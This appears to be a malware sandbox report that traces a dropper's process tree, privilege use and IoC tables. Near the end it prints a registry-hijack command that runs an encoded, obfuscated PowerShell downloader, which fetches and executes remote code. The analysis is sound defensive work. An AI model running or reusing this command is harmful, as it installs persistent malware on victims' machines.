2656	powershell.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle
2500	SystemIdle.SystemIdle

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

powershell.exe

pid process

1256 powershell.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

Processes:

msedge.exe

pid process

5072 msedge.exe
5072 msedge.exe
5072 msedge.exe
5072 msedge.exe
5072 msedge.exe
5072 msedge.exe

pid	process
1256	powershell.exe

pid	process
5072	msedge.exe
5072	msedge.exe
5072	msedge.exe
5072	msedge.exe
5072	msedge.exe
5072	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exesetup.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeShutdownPrivilege	5036	setup.exe
Token: SeIncreaseQuotaPrivilege	5036	setup.exe
Token: SeSecurityPrivilege	4140	msiexec.exe
Token: SeCreateTokenPrivilege	5036	setup.exe
Token: SeAssignPrimaryTokenPrivilege	5036	setup.exe
Token: SeLockMemoryPrivilege	5036	setup.exe
Token: SeIncreaseQuotaPrivilege	5036	setup.exe
Token: SeMachineAccountPrivilege	5036	setup.exe
Token: SeTcbPrivilege	5036	setup.exe
Token: SeSecurityPrivilege	5036	setup.exe
Token: SeTakeOwnershipPrivilege	5036	setup.exe
Token: SeLoadDriverPrivilege	5036	setup.exe
Token: SeSystemProfilePrivilege	5036	setup.exe
Token: SeSystemtimePrivilege	5036	setup.exe
Token: SeProfSingleProcessPrivilege	5036	setup.exe
Token: SeIncBasePriorityPrivilege	5036	setup.exe
Token: SeCreatePagefilePrivilege	5036	setup.exe
Token: SeCreatePermanentPrivilege	5036	setup.exe
Token: SeBackupPrivilege	5036	setup.exe
Token: SeRestorePrivilege	5036	setup.exe
Token: SeShutdownPrivilege	5036	setup.exe
Token: SeDebugPrivilege	5036	setup.exe
Token: SeAuditPrivilege	5036	setup.exe
Token: SeSystemEnvironmentPrivilege	5036	setup.exe
Token: SeChangeNotifyPrivilege	5036	setup.exe
Token: SeRemoteShutdownPrivilege	5036	setup.exe
Token: SeUndockPrivilege	5036	setup.exe
Token: SeSyncAgentPrivilege	5036	setup.exe
Token: SeEnableDelegationPrivilege	5036	setup.exe
Token: SeManageVolumePrivilege	5036	setup.exe
Token: SeImpersonatePrivilege	5036	setup.exe
Token: SeCreateGlobalPrivilege	5036	setup.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

Acrobat.exemsedge.exe

pid process

4596 Acrobat.exe
5072 msedge.exe
5072 msedge.exe
5072 msedge.exe
5072 msedge.exe

pid	process
4596	Acrobat.exe
5072	msedge.exe
5072	msedge.exe
5072	msedge.exe
5072	msedge.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

readerdc64_fr_xa_mdr_install.exeD9EDD30C-1070-4941-96C7-6C0BEE410C09setup.exeADelRCP.exeAcrobat.exeRegSvcs.exe

pid	process
224	readerdc64_fr_xa_mdr_install.exe
224	readerdc64_fr_xa_mdr_install.exe
224	readerdc64_fr_xa_mdr_install.exe
224	readerdc64_fr_xa_mdr_install.exe
3748	D9EDD30C-1070-4941-96C7-6C0BEE410C09
5036	setup.exe
5036	setup.exe
5036	setup.exe
1920	ADelRCP.exe
4596	Acrobat.exe
4596	Acrobat.exe
4596	Acrobat.exe
4596	Acrobat.exe
1712	RegSvcs.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

d872fbe973a4799e94f57abdc594b37e.exepowershell.execmd.exereaderdc64_fr_xa_mdr_install.exeD9EDD30C-1070-4941-96C7-6C0BEE410C09msiexec.exeMsiExec.exeMSI5C9E.tmpmsedge.exe

description	pid	process	target process
PID 652 wrote to memory of 1924	652	d872fbe973a4799e94f57abdc594b37e.exe	powershell.exe
PID 652 wrote to memory of 1924	652	d872fbe973a4799e94f57abdc594b37e.exe	powershell.exe
PID 1924 wrote to memory of 264	1924	powershell.exe	cmd.exe
PID 1924 wrote to memory of 264	1924	powershell.exe	cmd.exe
PID 264 wrote to memory of 224	264	cmd.exe	readerdc64_fr_xa_mdr_install.exe
PID 264 wrote to memory of 224	264	cmd.exe	readerdc64_fr_xa_mdr_install.exe
PID 264 wrote to memory of 224	264	cmd.exe	readerdc64_fr_xa_mdr_install.exe
PID 224 wrote to memory of 3748	224	readerdc64_fr_xa_mdr_install.exe	D9EDD30C-1070-4941-96C7-6C0BEE410C09
PID 224 wrote to memory of 3748	224	readerdc64_fr_xa_mdr_install.exe	D9EDD30C-1070-4941-96C7-6C0BEE410C09
PID 224 wrote to memory of 3748	224	readerdc64_fr_xa_mdr_install.exe	D9EDD30C-1070-4941-96C7-6C0BEE410C09
PID 3748 wrote to memory of 5036	3748	D9EDD30C-1070-4941-96C7-6C0BEE410C09	setup.exe
PID 3748 wrote to memory of 5036	3748	D9EDD30C-1070-4941-96C7-6C0BEE410C09	setup.exe
PID 4140 wrote to memory of 3952	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 3952	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 3952	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 1700	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 1700	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 2184	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 2184	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 4868	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 4868	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 4868	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 1876	4140	msiexec.exe	MSI992D.tmp
PID 4140 wrote to memory of 1876	4140	msiexec.exe	MSI992D.tmp
PID 4140 wrote to memory of 1876	4140	msiexec.exe	MSI992D.tmp
PID 4140 wrote to memory of 1616	4140	msiexec.exe	FullTrustNotifier.exe
PID 4140 wrote to memory of 1616	4140	msiexec.exe	FullTrustNotifier.exe
PID 4140 wrote to memory of 1616	4140	msiexec.exe	FullTrustNotifier.exe
PID 4868 wrote to memory of 1920	4868	MsiExec.exe	ADelRCP.exe
PID 4868 wrote to memory of 1920	4868	MsiExec.exe	ADelRCP.exe
PID 4140 wrote to memory of 1400	4140	msiexec.exe	SingleClientServicesUpdater.exe
PID 4140 wrote to memory of 1400	4140	msiexec.exe	SingleClientServicesUpdater.exe
PID 4140 wrote to memory of 4708	4140	msiexec.exe	MSI5C9E.tmp
PID 4140 wrote to memory of 4708	4140	msiexec.exe	MSI5C9E.tmp
PID 4708 wrote to memory of 2772	4708	MSI5C9E.tmp	msiexec.exe
PID 4708 wrote to memory of 2772	4708	MSI5C9E.tmp	msiexec.exe
PID 4708 wrote to memory of 1976	4708	MSI5C9E.tmp	cmd.exe
PID 4708 wrote to memory of 1976	4708	MSI5C9E.tmp	cmd.exe
PID 4140 wrote to memory of 2508	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 2508	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 2176	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 2176	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 368	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 368	4140	msiexec.exe	MsiExec.exe
PID 4140 wrote to memory of 368	4140	msiexec.exe	MsiExec.exe
PID 224 wrote to memory of 4596	224	readerdc64_fr_xa_mdr_install.exe	Acrobat.exe
PID 224 wrote to memory of 4596	224	readerdc64_fr_xa_mdr_install.exe	Acrobat.exe
PID 224 wrote to memory of 5072	224	readerdc64_fr_xa_mdr_install.exe	msedge.exe
PID 224 wrote to memory of 5072	224	readerdc64_fr_xa_mdr_install.exe	msedge.exe
PID 5072 wrote to memory of 2068	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 2068	5072	msedge.exe	msedge.exe
PID 224 wrote to memory of 1292	224	readerdc64_fr_xa_mdr_install.exe	explorer.exe
PID 224 wrote to memory of 1292	224	readerdc64_fr_xa_mdr_install.exe	explorer.exe
PID 224 wrote to memory of 1292	224	readerdc64_fr_xa_mdr_install.exe	explorer.exe
PID 224 wrote to memory of 1292	224	readerdc64_fr_xa_mdr_install.exe	explorer.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe
PID 5072 wrote to memory of 1648	5072	msedge.exe	msedge.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

3784 attrib.exe

pid	process
3784	attrib.exe

C:\Users\Admin\AppData\Local\Temp\d872fbe973a4799e94f57abdc594b37e.exe
"C:\Users\Admin\AppData\Local\Temp\d872fbe973a4799e94f57abdc594b37e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -F C:/ProgramData/md9fmn2uj52E8Ut8f5xmiH0j4abpph3A.ps1
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c start C:/ProgramData/readerdc64_fr_xa_mdr_install.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:264
  - - C:\ProgramData\readerdc64_fr_xa_mdr_install.exe
      C:/ProgramData/readerdc64_fr_xa_mdr_install.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:224
    - - C:\Users\Admin\AppData\Local\Adobe\6B65C5BC-2C97-4165-B1A9-AE3F45DC9BD0\43230B40-77DA-406A-82F3-997F3BB40EFC\D9EDD30C-1070-4941-96C7-6C0BEE410C09
        
        "C:\Users\Admin\AppData\Local\Adobe\6B65C5BC-2C97-4165-B1A9-AE3F45DC9BD0\43230B40-77DA-406A-82F3-997F3BB40EFC\D9EDD30C-1070-4941-96C7-6C0BEE410C09" /sAll /re /msi PRODUCT_SOURCE=ACDC OWNERSHIP_STATE=1 UPDATE_MODE=3 EULA_ACCEPT=YES
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3748
      - C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1036-1033-7760-BC15014EA700}\setup.exe
        
        "C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1036-1033-7760-BC15014EA700}\setup.exe" /sAll /re /msi PRODUCT_SOURCE=ACDC OWNERSHIP_STATE=1 UPDATE_MODE=3 EULA_ACCEPT=YES DISABLE_CACHE=1
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:5036
    - - C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe"
        5⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:4596
      - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --locale=fr-fr --backgroundcolor=16514043
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1412
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1572 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2
        7⤵
        Executes dropped EXE
        
        PID:560
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
        7⤵
        Executes dropped EXE
        
        PID:4672
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --first-renderer-process --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2376 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2908
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
        7⤵
        Executes dropped EXE
        
        PID:3132
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2640 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1080
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1572 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2
        7⤵
        Executes dropped EXE
        
        PID:2196
        
        C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
        
        "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=gpu-process --log-severity=disable --user-agent-product="ReaderServices/23.3.20201 Chrome/105.0.0.0" --lang=en-US --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1604 --field-trial-handle=1664,i,4036137457036319921,13783894513751586611,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:2
        7⤵
        Executes dropped EXE
        
        PID:1244
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://get.adobe.com/reader/completion/adm/?exitcode=0&type=install&mdr=true&workflow=64
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5072
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc693e46f8,0x7ffc693e4708,0x7ffc693e4718
        6⤵
        
        PID:2068
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
        6⤵
        
        PID:1648
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3232
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2664 /prefetch:8
        6⤵
        
        PID:4352
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
        6⤵
        
        PID:4156
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
        6⤵
        
        PID:1228
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
        6⤵
        
        PID:1324
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
        6⤵
        
        PID:2972
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4020 /prefetch:1
        6⤵
        
        PID:3264
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,27710668042040565,17161932952667370730,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:1
        6⤵
        
        PID:4588
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\system32\explorer.exe"
        5⤵
        
        PID:1292
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\.alecar\Shell\Open\command /d "C:\Users\Public\Music\svchost.exe powershell -exEC byPASs -enc JAB0AHMAawBsAHIAZQB4AD0AJwBpACcAKwAnACcAKwAnAEUAJwArACcAeAAnADsAcwBhAGwAIAB1AGIAaQBqAHQAYQBzAGsAbwB2AGUAaQBkAG8AZABhAGoAZQBrAHMAbAB1AHoAbgBlACAAJAB0AHMAawBsAHIAZQB4ADsAJABwAHoAaABoAHEAZAB3AGwAPQB1AGIAaQBqAHQAYQBzAGsAbwB2AGUAaQBkAG8AZABhAGoAZQBrAHMAbAB1AHoAbgBlACgAdQBiAGkAagB0AGEAcwBrAG8AdgBlAGkAZABvAGQAYQBqAGUAawBzAGwAdQB6AG4AZQAoACQAKAAkACgAJwAoAG4AdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AHcALQBvAGIAagB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAYwB0ACAAUwB5AHMAdAB1AHUAaQBJAFUAaAB1AHMAYQBpAGQANwA4AGgAdQBpAHcAbQAuAE4AdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3AHQALgBXAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwBiAEMAbABpAHUAdQBpAEkAVQBoAHUAcwBhAGkAZAA3ADgAaAB1AGkAdwBuAHQAKQAuAEQAbwBwAHAAOAAzADgAMwBqAG4ARAB0AHIAaQBuAGcAKAAnACcAaABKAHUAZAAyAE4AQgBJAGQAcgBpAHYAUABQAHMAOAAyADgARABGAFMALgBnAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGcAbABQAFAAcwA4ADIAOABEAEYAUwAuAGMAVQBpAGgAZABhAHMAOAA3AHUAaAB3AGYAYQBoAGkAbQAvAHUAYwA/AFAAUABzADgAMgA4AEQARgBTAHgAcABVAGkAaABkAGEAcwA4ADcAdQBoAHcAZgBhAGgAaQByAHQAPQBkAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAHcAbgBsAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpAGEAZAAmAGkAZAA9ADEAeQB6AEkAUABQAHMAOAAyADgARABGAFMAZABnAE8AbABiAFAAagBVAGMAMAAwADYAegBGAGoAcgBrAFIAawBKAFcARABiAGMAaABGADAAdQAnACcALgBSAGUAcABsAGEAYwBlACgAJwAnAEoAdQBkADIATgBCAEkAJwAnACwAJwAnAHQAdABwAHMAOgAvAC8AJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwAnAFUAaQBoAGQAYQBzADgANwB1AGgAdwBmAGEAaABpACcAJwAsACcAJwBvACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAJwBQAFAAcwA4ADIAOABEAEYAUwAnACcALAAgACcAJwBlACcAJwApACkAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAdQB1AGkASQBVAGgAdQBzAGEAaQBkADcAOABoAHUAaQB3ACcALAAgACcAZQAnACkALgBSAGUAcABsAGEAYwBlACgAJwBwAHAAOAAzADgAMwBqAG4ARAAnACwAIAAnAHcAbgBsAG8AYQBkAFMAJwApACkAKQApAA==" /f
    3⤵
    - Modifies registry key
    PID:2700
- - C:\Windows\system32\reg.exe
